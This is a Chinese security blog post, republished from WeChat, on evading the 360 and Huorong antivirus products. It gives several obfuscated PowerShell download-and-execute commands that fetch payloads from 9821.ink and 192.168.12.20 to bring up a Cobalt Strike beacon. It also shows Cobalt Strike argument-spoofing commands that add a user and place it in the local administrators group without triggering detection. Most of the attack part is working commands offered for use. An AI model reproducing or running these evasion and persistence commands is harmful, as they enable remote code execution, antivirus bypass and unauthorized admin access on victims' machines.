前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >powershell上对抗360与火绒的技巧

powershell上对抗360与火绒的技巧

作者头像
潇湘信安
发布2021-07-28 10:35:25
1.4K0
发布2021-07-28 10:35:25
举报
文章被收录于专栏:潇湘信安潇湘信安

0x01 前言

免杀上线一直是经久不衰的话题,今天介绍利用powershell上线来绕过360与火绒的防护,并介绍绕过添加用户的拦截的方式,我们的实验环境是一台装了360全家桶与火绒的win7。

0x02 powershell免杀绕过360与火绒上线

powershell免杀绕过思路参考:

安全客原始payload

代码语言:javascript
复制
Invoke-Expression (New-Object Net.WebClient).DownloadString('http:9821.ink/xxx')

将http分开+号连接

代码语言:javascript
复制
Invoke-Expression(New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx")

变量代替

代码语言:javascript
复制
IEX$wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://9821.ink/xxx')

转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v的小写字母前出现即可。

代码语言:javascript
复制
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://9821.ink/xxx')

同样可以使用在Net.Webclient上

代码语言:javascript
复制
Invoke-Expression(New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://9821.ink/xxx')

freebuf

代码语言:javascript
复制
powershell -NoExit"$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://9821.ink/xxx'')'.Replace('123','adString');IEX ($c1+$c2)
代码语言:javascript
复制
powershell "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3="$a1,$a2";IEX(-join $a3)"

chabug #别名

代码语言:javascript
复制
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')

综合起来就成了最开始的上线命令:

代码语言:javascript
复制
powershell set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3=$a1,$a2;kaspersky(-join $a3)"

那么看了一些powershell的绕过上线cs思路,我们来执行修改命令达到上线,首先还是最原始的生成常见的方式来上线cs:

代码语言:javascript
复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.12.20:80/a'))"

我们可以看到,此时火绒发现了系统调用了powershell,立刻进行了拦截,那么我们就要修改powershell上线的命令,进行绕过达到上线。

原命令:

代码语言:javascript
复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.12.20:80/a'))"

我们可以利用powershell的特性,利用别名、分割、替换变量等多个方式来绕过检测。

修改后的命令:

代码语言:javascript
复制
powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.12.20:80/a')"

可以看到修改后的命令,对执行的命令进行替换,并将http分开+号连接的思路,便可以达到免杀上线效果。

此时去目标机器执行:

360与火绒均无报警,CS已经上线,成功绕过杀软达到上线目的。

0x03 绕过杀软添加用户

在内网渗透过程中,有些时候需要往目标机器添加用户,来进行所需操作,但是添加用户杀软非常敏感,都会进行拦截。

为了突出文章目的,我们直接使用cs自带的提权EXP来达到system权限。

我们直接在cs进行用户添加。可以看到遭到了360的拦截:

代码语言:javascript
复制
beacon> shell net user tubai e2e2@wqw /add

此时的思路可以使用cs中argue参数绕过杀软添加用户,#参数污染:

代码语言:javascript
复制
net1 argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#查看污染的参数 argue

#用污染的net1执行敏感操作

代码语言:javascript
复制
execute net1 user tubai ddsd@123 /add

此时shell net user发现,tubai用户已经添加进去,且360与火绒均未拦截。

我们再将tubai用户加入到administrator组

代码语言:javascript
复制
beacon> execute net1 localgroup administrators tubai /add

此时我们shell net user tubai ,发现已经成功加入administrators组中

至此便绕过了360与火绒对添加用户的拦截。

0x04 总结

powershell的绕过方式除了命令混淆还有很多,免杀的目的就是围绕你的目标机器进行实施的,并非要追求免杀率,过VT,只要过了你的目标机就好。还有,如无特殊需要,渗透过程中还是不添加用户为妙,毕竟日志都有记录,动静也不小。

参考:

http://www.0x3.biz/archives/837.html

https://xz.aliyun.com/t/7903#toc-0


关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,“1120”安全参考等安全杂志PDF电子版,“1208”个人常用高效爆破字典,“0221”2020年酒仙桥文章打包,还在等什么?赶紧点击下方名片关注学习吧!


推 荐 阅 读


欢 迎 私 下 骚 扰

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档